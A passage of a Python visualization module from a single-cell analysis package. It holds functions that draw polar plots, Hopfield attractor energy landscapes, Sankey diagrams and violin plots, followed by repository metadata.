vmax)\r\n\r\n inId = initial[clusterid]\r\n outId = final[clusterid]\r\n\r\n if self.verbose >= 3:\r\n print('ClusterID: %s, Initial state: %s (%s), Final state: %s (%s)' % (clusterNames[clusterid], typesNames[inId], inId, typesNames[outId], outId))\r\n\r\n suffix = clusterNames[clusterid]\r\n\r\n fig.suptitle('Cluster %s: %s -> %s' % (clusterNames[clusterid], typesNames[inId] if inId != -1 else 'Unknown', typesNames[outId] if outId != -1 else 'Unknown'), fontsize=11, color='b')\r\n\r\n values = thisTr.T[0].tolist() + [thisTr.T[0][0]]\r\n\r\n timeLimit = thisTr.shape[1]\r\n\r\n for t in range(timeLimit):\r\n values = thisTr.T[t].tolist() + [thisTr.T[t][0]]\r\n\r\n if t == 0:\r\n ax.plot(angles, values, 'o-', ms=4.0, color='b', alpha=1.0, clip_on=False)\r\n\r\n ax.plot(angles, values, color='b', linewidth=0.5, alpha=0.04, linestyle='solid')\r\n ax.fill(angles, values, alpha=0.005, color='b')\r\n\r\n if t == timeLimit - 1:\r\n ax.plot(angles, values, 'o-', ms=4.0, color='r', alpha=1.0, clip_on=False)\r\n\r\n ax.set_rlabel_position(0)\r\n else:\r\n vmax = vmaxAt\r\n vmin = vminAt\r\n suffix = 'attractors'\r\n\r\n for i, pc in enumerate(df.columns):\r\n temp_texts = ax.text(angles[i], 1.15 * (vmax - vmin) + vmin, pc, color='k', fontsize=14 * fontscale, ha='center', va='center')\r\n temp_texts.set_path_effects([path_effects.Stroke(linewidth=0.5 * fontscale, foreground='w'), path_effects.Normal()])\r\n\r\n ax.set_axisbelow(True)\r\n\r\n #ax.plot(angles, [0]*len(angles), color='k', linewidth=1., linestyle='-', label=celltype)\r\n\r\n fig.canvas.draw()\r\n ylabels = ax.get_yticklabels()\r\n ax.set_yticklabels([])\r\n\r\n for label in ylabels:\r\n ax.text(label._x, label._y, label._text, zorder=np.inf)\r\n\r\n self.saveFigure(fig, self.saveDir, self.dataName + '_polar_%s' % (suffix), extension=extension, dpi=dpi, **kwargs)\r\n\r\n return fig\r\n\r\n @tryExcept\r\n def HopfieldLandscapePlot(self, legend = False, labels = False, PCx = 0, PCy = 1, colorbar = True, fontsize = 10, plotMesh = True, plotAttractors = True, adjustText = True, axisOff = True, colorbarva = 0.75, colorbarha = 0.85, trPath = None, colormap = matplotlib.colors.LinearSegmentedColormap.from_list('cmap', [(1, 1, 1), (0, 1, 1), (0, 0, 1), (1, 0, 0)], N=1000), dpi = 300, extension = 'png', **kwargs):\r\n\r\n '''Make heatmap plot of the attractors in their two principal components coordinates\r\n\r\n Parameters:\r\n legend: boolean, Default False\r\n Whether to add legend containing cell types names\r\n \r\n labels: boolean, Default False\r\n Whether to add labels \r\n \r\n PCx: int, Default 0\r\n Principal component for x-coordinate of the plot\r\n \r\n PCy: int, Default 1\r\n Principal component for y-coordinate of the plot\r\n \r\n colorbar: boolean, Default False\r\n Whether to add colorbar\r\n\r\n fontsize: int, Default 10\r\n Text labels font size\r\n \r\n plotMesh: boolean, Default False\r\n Whether to plot landscape heatmap\r\n \r\n plotAttractors: boolean, Default False\r\n Whether to plot attractor stars\r\n \r\n adjustText: boolean, Default False\r\n Whether to minimize text labels overlap\r\n \r\n axisOff: boolean, Default False\r\n Whether to hide the axes lines\r\n\r\n colorbarva: float, Default 0.75\r\n Vertical position of the bottom of the colorbar\r\n\r\n colorbarha: float, Default 0.85\r\n Horizontal position of the colorbar\r\n\r\n trPath: str, Default None\r\n Path to trajectories files\r\n\r\n colormap: matplotlib.colormap or str, Default matplotlib.colors.LinearSegmentedColormap.from_list('cmap', [(1, 1, 1), (0, 1, 1), (0, 0, 1), (1, 0, 0)], N=1000)\r\n Colormap or its string name\r\n\r\n dpi: int, Default 300\r\n Resolution of the figure\r\n\r\n extension: str, Default 'png'\r\n Format extension of the figure\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makeHopfieldLandscapePlot()\r\n '''\r\n\r\n np.random.seed(0)\r\n\r\n colormap.set_bad('white')\r\n\r\n def add_colorbar(fig, labels, cmap = matplotlib.colors.LinearSegmentedColormap.from_list('GR', [(0, 1, 0), (1, 0, 0)], N=100), fontsize = 10):\r\n \r\n mapp = cm.ScalarMappable(norm=matplotlib.colors.Normalize(vmin=np.min(labels), vmax=np.max(labels)), cmap=cmap)\r\n sp = np.linspace(np.max(labels), np.min(labels), num=6, endpoint=True)\r\n mapp.set_array(sp)\r\n\r\n axisColor = fig.add_axes([colorbarha, colorbarva, 0.01, 0.2])\r\n\r\n fig.colorbar(mapp, cax=axisColor, ticks=sp)\r\n\r\n axisColor.tick_params(labelsize=fontsize)\r\n axisColor.set_yticklabels(sp.astype(int))\r\n \r\n return None\r\n\r\n fig = plt.figure(figsize=(8,8))\r\n ax = fig.add_axes([0.05,0.05,0.9,0.9])\r\n\r\n ax.set_xlim([-3, 1])\r\n ax.set_ylim([-2, 2])\r\n\r\n if axisOff:\r\n ax.axis('off')\r\n \r\n if trPath is None:\r\n trPath = os.path.join(self.saveDir, 'HopfieldTrajectories')\r\n\r\n if not os.path.exists(trPath):\r\n if self.verbose >= 1:\r\n print('Data not found', flush=True)\r\n\r\n return\r\n\r\n attrs_xpca, attrs_names = read(os.path.join(trPath, 'attrs'))\r\n attrs_xpca = attrs_xpca[:attrs_xpca.shape[1]]\r\n\r\n mesh_xpca = read(os.path.join(trPath, 'mesh'))\r\n\r\n mesh_energy = mesh_xpca[range(len(mesh_xpca)), -1]\r\n mesh_xpca = mesh_xpca[range(len(mesh_xpca)), :-1]\r\n\r\n data = np.vstack([attrs_xpca, mesh_xpca])\r\n\r\n coords = data.T[[PCx, PCy], :]\r\n attrs2D, mesh2D = coords[:, :attrs_xpca.shape[1]].T, coords[:, attrs_xpca.shape[1]:].T\r\n \r\n if plotMesh:\r\n vmin, vmax = min(mesh_energy), 0.\r\n\r\n vals = mesh_energy.copy()\r\n vals[np.where(vals > (vmax - 0.001))[0]] = vmax - 0.001\r\n vals[np.where(vals < (vmin + 0.001))[0]] = vmin + 0.001\r\n\r\n xmin, xmax = mesh2D.T[0].min(), mesh2D.T[0].max()\r\n ymin, ymax = mesh2D.T[1].min(), mesh2D.T[1].max()\r\n\r\n dx = (xmax - xmin) * 0.05\r\n dy = (ymax - ymin) * 0.05\r\n\r\n xmin -= dx\r\n xmax += dx\r\n ymin -= dy\r\n ymax += dy\r\n\r\n ngrid = 100\r\n grid = np.zeros((ngrid + 1, ngrid + 1))\r\n grid[:] = vmin\r\n\r\n i = (ngrid * (mesh2D.T[0] - xmin) / (xmax - xmin)).astype(int)\r\n j = (ngrid * (mesh2D.T[1] - ymin) / (ymax - ymin)).astype(int)\r\n\r\n se = pd.Series(index=zip(i,j), data=mesh_energy).groupby(axis=0, level=0).agg(np.min)\r\n se.index = pd.MultiIndex.from_tuples(se.index)\r\n\r\n grid[(se.index.get_level_values(0).values, se.index.get_level_values(1).values)] = se.values\r\n\r\n maskedArray = np.ma.array(grid.T, mask=np.isnan(grid.T,))\r\n\r\n im = ax.imshow(maskedArray[::-1], vmin=vmin, vmax=vmax, cmap=colormap, alpha=0.8,\r\n extent=[xmin, xmax, ymin, ymax], interpolation='quadric', zorder=-10 ** 8, clip_on=False)\r\n\r\n data = scipy.ndimage.gaussian_filter(grid.T, 1.5)\r\n xgrid = np.linspace(xmin, xmax, num=(ngrid + 1))\r\n ygrid = np.linspace(ymin, ymax, num=(ngrid + 1))\r\n\r\n tempColormap = colormap\r\n #tempColormap = matplotlib.colors.LinearSegmentedColormap.from_list('cmap', [(0.75,\r\n #0.75, 0.75), (0, 1, 1), (0, 0, 1), (1, 0, 0)], N=1000)\r\n\r\n ax.contour(xgrid, ygrid, data, levels=10, cmap=tempColormap, linewidths=1.0, zorder=-10 ** 8 + 1)\r\n ax.contour(xgrid, ygrid, data, levels=10, colors='k', linestyles='solid', linewidths=0.25, zorder=-10 ** 8 + 2)\r\n \r\n if plotAttractors:\r\n texts = []\r\n\r\n ax.plot(attrs2D.T[0], attrs2D.T[1], '*', ms=14, color='k', alpha=1.0, zorder=-10 ** 7, clip_on=False)\r\n for attr in range(attrs2D.T[0].shape[0]):\r\n temp_texts = ax.text(attrs2D.T[0][attr], attrs2D.T[1][attr], attrs_names[attr], fontsize=fontsize, fontweight=550, ha='left',va='center', zorder=10 ** 10, clip_on=False)\r\n temp_texts.set_path_effects([path_effects.Stroke(linewidth=2.5, foreground='white'), path_effects.Normal()])\r\n texts.append(temp_texts)\r\n\r\n if adjustText:\r\n adjust_text(texts, arrowprops=dict(arrowstyle='-', color='k', lw=0.3, alpha=0.5), force_text=(0.05, 0.05))\r\n\r\n if plotMesh and colorbar:\r\n\r\n add_colorbar(fig, [vmax, vmin], cmap=colormap, fontsize=fontsize)\r\n\r\n self.saveFigure(fig, self.saveDir, self.dataName + '_energy_landscape_PC%s_vs_PC%s' % (PCy, PCx), extension=extension, dpi=dpi, **kwargs)\r\n\r\n return fig\r\n \r\n\r\n # Plotly-powered figures\r\n\r\n @tryExcept\r\n def makeSankeyDiagram(self, df, colormapForIndex = None, colormapForColumns = None, linksColor = 'rgba(100,100,100,0.6)', title = '', attemptSavingHTML = False, quality = 4, width = 400, height = 400, border = 20, nodeLabelsFontSize = 15, nameAppend = '_Sankey_diagram'):\r\n\r\n '''Make a Sankey diagram, also known as 'river plot' with two groups of nodes\r\n\r\n Parameters:\r\n df: pandas.DataFrame \r\n With counts (overlaps)\r\n\r\n colormapForIndex: dictionary, Default None\r\n Colors to use for nodes specified in the DataFrame index\r\n\r\n colormapForColumns: dictionary, Default None\r\n Colors to use for nodes specified in the DataFrame columns\r\n\r\n linksColor: str, Default 'rgba(100,100,100,0.6)'\r\n Color of the non-overlapping links\r\n\r\n title: str, Default ''\r\n Title to print on the diagram\r\n\r\n interactive: boolean , Default False\r\n Whether to launch interactive JavaScript-based graph\r\n\r\n quality: int, Default 4\r\n Proportional to the resolution of the figure to save\r\n\r\n nodeLabelsFontSize: int, Default 15\r\n Font size for node labels\r\n\r\n nameAppend: str, Default '_Sankey_diagram'\r\n Name to append to the figure file\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makeSankeyDiagram(df)\r\n '''\r\n\r\n try:\r\n temp_index = pd.MultiIndex.from_arrays([df.index, [colormapForIndex[item] for item in df.index]], names=['label', 'color'])\r\n temp_columns = pd.MultiIndex.from_arrays([df.columns, [colormapForColumns[item] for item in df.columns]], names=['label', 'color'])\r\n df.index = temp_index\r\n df.columns = temp_columns\r\n except Exception as exception:\r\n if self.verbose >= 2:\r\n print(exception)\r\n print('Using default node colors')\r\n colormapForIndex = None\r\n colormapForColumns = None\r\n\r\n if (colormapForIndex is None) or (colormapForColumns is None):\r\n nodeColors = ['rgba(150,0,10,0.8)'] * len(df.index) + ['rgba(10,0,150,0.8)'] * len(df.columns)\r\n nodeLabels = df.index.to_list() + df.columns.to_list()\r\n else:\r\n nodeLabels = df.index.get_level_values('label').to_list() + df.columns.get_level_values('label').to_list()\r\n nodeColors = df.index.get_level_values('color').to_list() + df.columns.get_level_values('color').to_list()\r\n\r\n sources, targets, values, labels = [], [], [], []\r\n for i, item in enumerate(df.index):\r\n sources.extend([i] * len(df.loc[item]))\r\n targets.extend(list(range(len(df.index), len(df.index) + len(df.loc[item]))))\r\n values.extend([j for j in df.loc[item].values])\r\n if type(item) is tuple:\r\n labels.extend([str(item[0]) + ' -> ' + str(jtem[0]) for jtem in df.loc[item].index])\r\n else:\r\n labels.extend([str(item) + ' -> ' + str(jtem) for jtem in df.loc[item].index])\r\n\r\n colorscales = [dict(label=label, colorscale=[[0, linksColor], [1, linksColor]]) for label in labels]\r\n\r\n if not nodeColors is None:\r\n for i in range(len(sources)):\r\n if nodeColors[sources[i]] == nodeColors[targets[i]]:\r\n newColor = ','.join(nodeColors[sources[i]].split(',')[:3] + ['0.6)'])\r\n colorscales[i] = dict(label=labels[i], colorscale=[[0, newColor], [1, newColor]])\r\n\r\n fig = go.Figure(data=[go.Sankey(valueformat = '', valuesuffix = '', textfont = dict(color = 'rgb(255,0,0)', size = nodeLabelsFontSize, family = 'Arial'),\r\n node = dict(pad = 20, thickness = 40, line = dict(color = 'white', width = 0.0), label = nodeLabels, color = nodeColors,), # hoverlabel=dict(bordercolor = 'yellow')\r\n link = dict(source = sources, target = targets, value = values, label = labels, colorscales = colorscales, hoverinfo='all'),)],) #line ={'color':'rgba(255,0,0,0.8)', 'width':0.1}\r\n\r\n if not title is None:\r\n fig.update_layout(title_text=title, font_size=10)\r\n\r\n fig.update_layout(margin=dict(l=border, r=border, t=border, b=border))\r\n\r\n try:\r\n fig.write_image(os.path.join(self.saveDir, self.dataName + nameAppend + '.png'), width=width, height=height, scale=quality)\r\n\r\n except Exception as exception:\r\n if self.verbose >= 2:\r\n print('Cannot save static image (likely due to missing orca). Saving to interactive html')\r\n attemptSavingHTML = True\r\n\r\n if attemptSavingHTML:\r\n fig.update_layout(margin=dict(l=200, r=200, t=100, b=100))\r\n plot_offline(fig, filename=os.path.join(self.saveDir, self.dataName + nameAppend + '.html'), auto_open=False)\r\n\r\n return fig\r\n\r\n @tryExcept\r\n def HopfieldLandscapePlot3D(self, PCx = 0, PCy = 1, colorbar = True, fontsize = 12, plotMesh = True, plotAttractors = True, trPath = None, attemptSavingHTML = False, nameAppend = '', quality = 4, **kwargs):\r\n\r\n '''Make heatmap plot of the attractors in their two principal components coordinates\r\n\r\n Parameters:\r\n legend: boolean, Default False\r\n Whether to add legend containing cell types names\r\n \r\n labels: boolean, Default False\r\n Whether to add labels \r\n \r\n PCx: int, Default 0\r\n Principal component for x-coordinate of the plot\r\n \r\n PCy: int, Default 1\r\n Principal component for y-coordinate of the plot\r\n \r\n colorbar: boolean, Default False\r\n Whether to add colorbar\r\n\r\n fontsize: int, Default 10\r\n Text labels font size\r\n \r\n plotMesh: boolean, Default False\r\n Whether to plot landscape heatmap\r\n \r\n plotAttractors: boolean, Default False\r\n Whether to plot attractor stars\r\n \r\n adjustText: boolean, Default False\r\n Whether to minimize text labels overlap\r\n \r\n axisOff: boolean, Default False\r\n Whether to hide the axes lines\r\n\r\n colorbarva: float, Default 0.75\r\n Vertical position of the bottom of the colorbar\r\n\r\n colorbarha: float, Default 0.85\r\n Horizontal position of the colorbar\r\n\r\n trPath: str, Default None\r\n Path to trajectories files\r\n\r\n colormap: matplotlib.colormap or str, Default matplotlib.colors.LinearSegmentedColormap.from_list('cmap', [(1, 1, 1), (0, 1, 1), (0, 0, 1), (1, 0, 0)], N=1000)\r\n Colormap or its string name\r\n\r\n dpi: int, Default 300\r\n Resolution of the figure\r\n\r\n extension: str, Default 'png'\r\n Format extension of the figure\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makeHopfieldLandscapePlot()\r\n '''\r\n \r\n if trPath is None:\r\n trPath = os.path.join(self.saveDir, 'HopfieldTrajectories')\r\n\r\n if not os.path.exists(trPath):\r\n if self.verbose >= 1:\r\n print('Data not found', flush=True)\r\n\r\n return\r\n\r\n attrs_xpca, attrs_names = read(os.path.join(trPath, 'attrs'))\r\n attrs_xpca = attrs_xpca[:attrs_xpca.shape[1]]\r\n\r\n mesh_xpca = read(os.path.join(trPath, 'mesh'))\r\n\r\n mesh_energy = mesh_xpca[range(len(mesh_xpca)), -1]\r\n mesh_xpca = mesh_xpca[range(len(mesh_xpca)), :-1]\r\n\r\n data = np.vstack([attrs_xpca, mesh_xpca])\r\n\r\n coords = data.T[[PCx, PCy], :]\r\n attrs2D, mesh2D = coords[:, :attrs_xpca.shape[1]].T, coords[:, attrs_xpca.shape[1]:].T\r\n \r\n vmin, vmax = min(mesh_energy), 0.\r\n\r\n vals = mesh_energy.copy()\r\n vals[np.where(vals > (vmax - 0.001))[0]] = vmax - 0.001\r\n vals[np.where(vals < (vmin + 0.001))[0]] = vmin + 0.001\r\n\r\n xmin, xmax = mesh2D.T[0].min(), mesh2D.T[0].max()\r\n ymin, ymax = mesh2D.T[1].min(), mesh2D.T[1].max()\r\n\r\n dx = (xmax - xmin) * 0.05\r\n dy = (ymax - ymin) * 0.05\r\n\r\n xmin -= dx\r\n xmax += dx\r\n ymin -= dy\r\n ymax += dy\r\n\r\n ngrid = 100\r\n grid = np.zeros((ngrid + 1, ngrid + 1))\r\n grid[:] = vmin\r\n\r\n i = (ngrid * (mesh2D.T[0] - xmin) / (xmax - xmin)).astype(int)\r\n j = (ngrid * (mesh2D.T[1] - ymin) / (ymax - ymin)).astype(int)\r\n\r\n se = pd.Series(index=zip(i,j), data=mesh_energy).groupby(axis=0, level=0).agg(np.min)\r\n se.index = pd.MultiIndex.from_tuples(se.index)\r\n\r\n grid[(se.index.get_level_values(0).values, se.index.get_level_values(1).values)] = se.values\r\n\r\n df = se.unstack(fill_value=vmin)\r\n\r\n fig = go.Figure()\r\n\r\n if plotMesh:\r\n fig.add_trace(go.Surface(x=np.linspace(xmin, xmax, df.shape[0]), \r\n y=np.linspace(ymin, ymax, df.shape[1]), \r\n z=gaussian_filter(df.values.T, sigma=0.75), opacity=1., colorscale=\"blackbody_r\",\r\n showscale=colorbar,\r\n hoverinfo='none',\r\n contours= {'x': {'highlight': False}, \r\n 'y': {'highlight': False}, \r\n 'z': {'highlight': False}},))\r\n\r\n fig.update_traces(contours_z=dict(show=True, width=3., highlightwidth=3., usecolormap=False, highlightcolor=\"limegreen\", project=dict(x=True,y=True,z=True), highlight=True, color='grey', size=(vmax - vmin) / 10.))\r\n\r\n annotations = []\r\n if plotAttractors:\r\n for i, point in enumerate(zip(attrs2D.T[0], attrs2D.T[1])):\r\n fig.add_trace(go.Scatter3d(x=[point[0], point[0]], y=[point[1], point[1]], z=[vmin, 0.5 * vmin], mode='lines', hoverinfo='none', line=dict(width=2, color='blue'), showlegend=False))\r\n\r\n annotations.append(dict(showarrow=False, x=point[0], y=point[1], z=0.4 * vmin, text=attrs_names[i], xanchor=\"center\", xshift=10, opacity=1, font=dict(color='black', size=fontsize)))\r\n\r\n fig.add_trace(go.Scatter3d(x=attrs2D.T[0], y=attrs2D.T[1], z=0. * attrs2D.T[0] + 0.5 * vmin, mode='markers', \r\n hovertext=attrs_names,\r\n hoverinfo='text',\r\n marker=dict(size=5, color='blue'),\r\n projection=dict(z=dict(show=True)),\r\n showlegend=False))\r\n\r\n fig.update_layout(title='Hopfield Attractors', autosize=False, width=700, height=700, margin=dict(l=75, r=75, b=75, t=90))\r\n\r\n fig.update_layout(scene = {'xaxis': {'title_text': 'PC1', 'nticks': 10, 'spikesides': False, 'showspikes': False, 'showbackground': False, 'showline': False, 'showticklabels': False, 'showaxeslabels': False}, 'yaxis': {'title_text': 'PC2', 'nticks': 10, 'spikesides': False, 'showspikes': False, 'showbackground': False, 'showline': False, 'showticklabels': False, 'showaxeslabels': False}, 'zaxis': {'title_text': 'Energy', 'range': (vmin, 0.), 'nticks': 10, 'showspikes': False, 'showbackground': False, 'showline': False, 'showticklabels': False, 'showaxeslabels': False}, 'aspectratio': {'x': 1, 'y': 1, 'z': 0.33}, 'annotations': annotations})\r\n\r\n fig.update_layout(scene_camera=dict(up=dict(x=0, y=0, z=2), center=dict(x=0, y=0, z=0), eye=dict(x=0, y=-0.25, z=1.25)))\r\n\r\n fileName = self.dataName + '_energy_landscape_PC%s_vs_PC%s' % (PCy, PCx) + nameAppend\r\n\r\n try:\r\n fig.write_image(os.path.join(self.saveDir, fileName + '.png'), width=700, height=700, scale=quality)\r\n\r\n except Exception as exception:\r\n if self.verbose >= 2:\r\n print('Cannot save static image (likely due to missing orca). Saving to interactive html')\r\n attemptSavingHTML = True\r\n\r\n if attemptSavingHTML:\r\n plot_offline(fig, filename=os.path.join(self.saveDir, fileName + '.html'), auto_open=False)\r\n\r\n return fig\r\n\r\n @tryExcept\r\n def makeViolinPlot(self, df_sel, genes, dimPanels, dimCategories, delimiterIn = '|', delimiterOut = ' ', panelWidth = 5, panelHeight = 5, title = '{name} {gene}', exportData = True, xlabel = '$log(count+1)$', ylabel = '', addPoints = True, linesColor = 'black', linesWidth = 1.0, cmap = cm.jet, fontsize = 10, showMedians = True, showExtrema = True, showFractions = True, showMean = True, meanMarkerSize = 7., meanMarkerColor = 'white', meanMarkerShape = 'o', excludeZeroValues = False, violinWidths = 0.85, violinAlpha = 0.9, pointsColor = 'black', pointsSize = 1.0, pointsAlpha = 0.5, pointsPushBack = True, sharex = True, sharey = True, dpi = 300, extension = 'png', **kwargs):\r\n \r\n ''' Exloratory analysis of the numeric values distributions using matplotlib violinplot.\r\n\r\n Parameters:\r\n df_sel: pandas.DataFrame\r\n Table where rows are unique object identifiers, columns are [dimPanels, dimCategories, gene1, gene2, ...]\r\n Numeric columns should be without any missing values\r\n\r\n genes: list\r\n List of genes names to plot, these should be a (sub)set of the df_sel columns\r\n\r\n dimPanels: str\r\n Name of the categorical variable is for saparation into panels. Option 'All' can be used too\r\n\r\n dimCategories: str\r\n Name of the categorical variable is for saparation into categories within a panel. Option 'All' can be used too\r\n\r\n panelWidth: float, Default 5\r\n Width of a panel, including the tick labels\r\n\r\n panelHeight: float, Default 5\r\n Height of a panel, including the tick labels\r\n\r\n title: str, Default '{name} {gene}'\r\n Template for panel names\r\n\r\n exportData: float, Default True\r\n Whether to export data summary into an excel file\r\n\r\n xlabel: str, Default '$log(count+1)$'\r\n x-axis label\r\n\r\n ylabel: str, Default ''\r\n y-axis label\r\n\r\n addPoints: boolean, Default True\r\n Whehter to include scattered points on violins\r\n\r\n linesColor: str, Default 'black' \r\n Line color\r\n\r\n linesWidth: float, Default 1.0\r\n Line width\r\n\r\n cmap: matplotlib.colormap or callable, Default cm.jet\r\n Colormap or its string name\r\n\r\n fontsize: float, Default 10\r\n Size of labels font\r\n\r\n showMedians: boolean, Default True\r\n Whehter to display median\r\n\r\n showExtrema: boolean, Default True\r\n Whehter to display max and min\r\n\r\n excludeZeroValues: boolean, Default False\r\n If True then zeros and missing values are not used in calculation of the probability densities\r\n\r\n violinWidths: float, Default 0.85\r\n Relative violin widths\r\n\r\n violinAlpha: float, Default 0.7\r\n Transparency of the violins\r\n\r\n pointsColor: str, Default 'black'\r\n Color of the points\r\n\r\n pointsSize: float, Default 1.0\r\n Size of the points\r\n\r\n pointsAlpha: float, Default 0.7\r\n Transparency of the points\r\n\r\n pointsPushBack: boolean, Default True\r\n If False then points will be drawn in front of all other objects\r\n\r\n sharex: boolean, Default True\r\n Whehter to share x-axis\r\n\r\n sharey: boolean, Default True\r\n Whehter to share y-axis\r\n\r\n dpi: float, Default 300\r\n Resolution of the figure\r\n\r\n extension: str, Default 'png'\r\n Format extension of the figure\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS.makeViolinPlot(data, ['Numeric 1', 'Numeric 2'], dimPanels='Property A', dimCategories='Property B')\r\n '''\r\n \r\n if dimPanels == 'All' or dimCategories == 'All':\r\n df_sel['All'] = ['All'] * df_sel.shape[0]\r\n\r\n for dim in [dimPanels, dimCategories]:\r\n if not dim in df_sel.columns:\r\n if delimiterIn in dim:\r\n cols = dim.split(delimiterIn)\r\n\r\n for col in cols:\r\n if not col in df_sel.columns:\r\n print('Column %s not found' % col)\r\n\r\n return\r\n\r\n df_sel = df_sel.astype({col: str for col in cols})\r\n\r\n df_sel[dim] = df_sel[cols[0]].copy()\r\n for col in cols[1:]:\r\n df_sel[dim] += delimiterOut + df_sel[col]\r\n else:\r\n print('Column %s not found' % dim)\r\n\r\n return\r\n\r\n df_sel = df_sel.astype({dimPanels: str, dimCategories: str})\r\n\r\n df_sel = df_sel.fillna(0.)\r\n \r\n panels = np.unique(df_sel[dimPanels].values)\r\n allCategories = np.sort(df_sel[dimCategories].value_counts().index.values)\r\n allCategories = np.array(allCategories, dtype=str)[::-1]\r\n \r\n n_rows, n_cols = len(genes), len(panels)\r\n\r\n vmin, vmax = df_sel[genes].values.ravel().min(), 1.05 * df_sel[genes].values.ravel().max()\r\n vmin -= 0.05 * (vmax - vmin)\r\n \r\n fig, ax = plt.subplots(n_rows, n_cols, figsize=(panelWidth * n_cols, panelHeight * n_rows), sharex=sharex, sharey=sharey)\r\n\r\n for igene, gene in enumerate(genes):\r\n for ind, panel in enumerate(panels):\r\n\r\n if n_rows == 1 and n_cols == 1:\r\n axt = ax\r\n elif n_rows == 1:\r\n axt = ax[ind % n_cols]\r\n elif n_cols == 1:\r\n axt = ax[igene]\r\n else:\r\n axt = ax[igene, ind % n_cols]\r\n\r\n data = df_sel[df_sel[dimPanels] == panel].set_index(dimCategories)[gene].groupby(level=0).agg(list).reindex(allCategories).fillna(0.)\r\n vdata = [v if type(v) is list else [v] for v in data.values.tolist()]\r\n\r\n if excludeZeroValues:\r\n pvdata = [np.array(v)[np.array(v)!=0].tolist() for v in vdata]\r\n pvdata = [v if len(v)>0 else [0] for v in pvdata]\r\n else:\r\n pvdata = vdata\r\n\r\n parts = axt.violinplot(pvdata, vert=False, showmedians=showMedians, showextrema=showExtrema, widths=violinWidths)\r\n\r\n if addPoints:\r\n for i, v in enumerate(vdata):\r\n try:\r\n axt.scatter(v, 0.75 * (np.random.rand(len(v)) - 0.5) + 1 + i, \r\n marker='o', color=pointsColor, \r\n s=pointsSize, zorder=-np.inf if pointsPushBack else np.inf, alpha=pointsAlpha)\r\n except:\r\n pass\r\n\r\n if showFractions:\r\n for i, v in enumerate(vdata):\r\n try:\r\n v = np.array(v)\r\n nz = len(v[v!=0])\r\n\r\n if nz > 0:\r\n axt.text(0.975*vmax, 1 + i, '%s%%\\n%s' % (np.round(100.*nz/len(v), 1), nz), va='center', ha='right', fontsize=fontsize).set_path_effects([path_effects.Stroke(linewidth=3, foreground='white'),path_effects.Normal()])\r\n except:\r\n pass\r\n\r\n if showMean:\r\n for i, v in enumerate(vdata):\r\n try:\r\n m = np.array(v).mean()\r\n\r\n if m > 0:\r\n axt.plot([m], [1 + i], meanMarkerShape, ms=meanMarkerSize, markerfacecolor=meanMarkerColor, markeredgecolor='black')\r\n except:\r\n pass\r\n\r\n for obj in list(parts):\r\n try:\r\n parts[obj].set(color=linesColor, linewidth=linesWidth)\r\n except:\r\n pass\r\n\r\n try:\r\n for ipc, pc in enumerate(parts['bodies']):\r\n pc.set_facecolor(cmap(ipc / len(parts['bodies'])))\r\n pc.set_edgecolor(linesColor)\r\n pc.set_alpha(violinAlpha)\r\n except:\r\n pass\r\n \r\n axt.set_xlim([vmin, vmax])\r\n\r\n if ind % n_cols == 0 or not sharey:\r\n axt.tick_params(axis='y', labelsize=fontsize, rotation=0)\r\n axt.get_yaxis().set_tick_params(direction='out')\r\n axt.yaxis.set_ticks_position('left')\r\n axt.set_yticks(np.arange(1, len(allCategories) + 1))\r\n axt.set_yticklabels(allCategories)\r\n axt.set_ylim(0.25, len(allCategories) + 0.75)\r\n \r\n if ylabel != '':\r\n axt.set_ylabel(ylabel, fontsize=fontsize)\r\n \r\n if (igene == (len(genes) - 1)) or not sharex:\r\n axt.tick_params(axis='x', labelsize=fontsize) \r\n\r\n if xlabel != '':\r\n axt.set_xlabel(xlabel, fontsize=fontsize)\r\n \r\n axt.set_title(title.format(name=panel, gene=gene) if panel!='All' else gene)\r\n\r\n fig.tight_layout()\r\n \r\n saveName = dimPanels + ' ' + dimCategories\r\n saveName = saveName.replace(delimiterIn, '_')\r\n self.saveFigure(fig, self.saveDir, saveName, extension=extension, dpi=dpi, **kwargs)\r\n \r\n if exportData:\r\n dims = [dimCategories, dimPanels] \r\n df_temp = df_sel.astype({dim: str for dim in dims}).set_index(dims, append=True)[genes]\r\n df_temp = pd.concat({'Fraction':(df_temp > 0).astype(int).groupby(dims).mean().round(2).unstack(1),\r\n 'Non-zero':(df_temp > 0).astype(int).groupby(dims).sum().unstack(1),\r\n 'Total':(~df_temp.fillna(0.).isna()).astype(int).groupby(dims).sum().unstack(1)}).unstack(0).fillna(0)\r\n \r\n df_temp.index.name = None\r\n df_temp.columns.names = [None, None, None]\r\n df_temp.to_excel(os.path.join(self.saveDir, saveName + '.xlsx'))\r\n\r\n return fig\r\n", "repo_name": "sdomanskyi/DigitalCellSorter", "sub_path": "DigitalCellSorter/VisualizationFunctions.py", "file_name": "VisualizationFunctions.py", "file_ext": "py", "file_size_in_byte": 113439, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.warnings.filterwarnings", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.warnings", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.VisibleDeprecationWarning", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "matplotlib.use", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 107, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "plotly.offline.plot_mpl", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.close", "line_number": 147, 